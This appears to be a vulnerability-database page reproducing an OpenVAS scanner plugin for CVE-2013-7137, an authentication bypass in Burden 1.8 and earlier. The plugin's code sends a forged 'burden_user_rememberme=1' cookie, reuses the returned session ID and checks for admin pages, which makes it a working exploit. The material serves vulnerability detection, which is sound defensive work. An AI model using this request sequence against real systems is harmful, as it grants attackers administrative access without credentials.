Lucene search

K
openvasCopyright (C) 2014 Greenbone AGOPENVAS:1361412562310803792
HistoryJan 13, 2014 - 12:00 a.m.

Burden 'burden_user_rememberme' Authentication Bypass Vulnerability

2014-01-1300:00:00
Copyright (C) 2014 Greenbone AG
plugins.openvas.org
10

9.8 High

AI Score

Confidence

High

0.07 Low

EPSS

Percentile

93.9%

Burden is prone to an authentication bypass vulnerability.

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803792");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2013-7137");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2022-04-06 18:32:00 +0000 (Wed, 06 Apr 2022)");
  script_tag(name:"creation_date", value:"2014-01-13 15:17:42 +0530 (Mon, 13 Jan 2014)");
  script_name("Burden 'burden_user_rememberme' Authentication Bypass Vulnerability");

  script_tag(name:"summary", value:"Burden is prone to an authentication bypass vulnerability.");

  script_tag(name:"vuldetect", value:"Send the crafted HTTP GET request and check is it possible to login or not");

  script_tag(name:"insight", value:"The flaw is due to insufficient authentication when handling
  'burden_user_rememberme' cookie parameter. A remote unauthenticated user
  can set 'burden_user_rememberme' cookie to '1' and gain administrative
  access to the application.");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to login as admin without
  providing credentials.");

  script_tag(name:"affected", value:"Burden version 1.8 and prior.");

  script_tag(name:"solution", value:"Upgrade to Burden 1.8.1 or later.");

  script_xref(name:"URL", value:"http://secunia.com/advisories/56343");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/64662");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/90186");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/124719");
  script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23192");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");
  script_xref(name:"URL", value:"https://github.com/joshf/Burden/releases/tag/1.8.1");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

bdPort = http_get_port(default:80);

if(!http_can_host_php(port:bdPort)){
  exit(0);
}

foreach dir (make_list_unique("/", "/Burden", "/burden", http_cgi_dirs(port:bdPort))) {

  if(dir == "/") dir = "";
  url = dir + "/login.php";
  res = http_get_cache( item:url, port:bdPort );
  if( isnull( res ) ) continue;

  if( res =~ "^HTTP/1\.[01] 200" && ">Burden<" >< res ) {

    host = http_host_name(port:bdPort);

    ## send a crafted request
    url = dir + "/login.php";
    bdReq = string("GET ", url," HTTP/1.1\r\n",
                   "Host: ", host,"\r\n",
                   "Cookie: burden_user_rememberme=1\r\n\r\n");
    bdRes = http_keepalive_send_recv(port:bdPort, data:bdReq);

    ## exit if cookie not found
    if(bdRes !~ "HTTP/1.. 302" || "Set-Cookie:" >!< bdRes){
     exit(0);
    }

    cookie = eregmatch(pattern:"Set-Cookie: PHPSESSID=([0-9a-z]*);", string:bdRes);
    if(!cookie[1]){
      exit(0);
    }

    ## Send the request with session id
    url = dir + "/index.php";
    bdReq = string("GET ", url," HTTP/1.1\r\n",
                   "Host: ", host,"\r\n",
                   "Cookie: burdenhascheckedforupdates=checkedsuccessfully",
                   ";PHPSESSID=",  cookie[1], "\r\n\r\n");
    bdRes = http_keepalive_send_recv(port:bdPort, data:bdReq);

    ##  Confirm the exploit
    if(">Logout<" >< bdRes && ">Settings<" ><bdRes && ">Burden<" >< bdRes)
    {
      security_message(port:bdPort);
      exit(0);
    }
  }
}

exit(99);

9.8 High

AI Score

Confidence

High

0.07 Low

EPSS

Percentile

93.9%